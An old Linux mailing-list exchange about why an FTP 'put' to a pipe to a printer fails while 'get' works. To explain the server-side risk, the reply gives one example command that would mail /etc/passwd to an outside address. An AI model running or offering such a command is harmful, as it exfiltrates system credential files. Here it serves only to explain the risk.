[ale] ftp and pipes

[dZothMuellarg]

^
^I'm trying to do the following
^
^get filname "|lp -d lj4_1"   
^
^it works

Becuase it is going to a local (as in you are in your shell) pipe

^but
^put filename "|lp -d lj4_1"
^does not work.  

Becuase it is going to the ftp server (not a shell) and the ftp server
must deal with it, what it sees is a filename with |.

What might work is put filename, then use site exec lp if lp is setup
(and the ftpd is to).

Other whise what would happen to put file name "|mail zot at crl.com -s
Passwords < /etc/passwd"

^Does ne1 know why?
^
^
^Thanks,
^Christopher Fowler
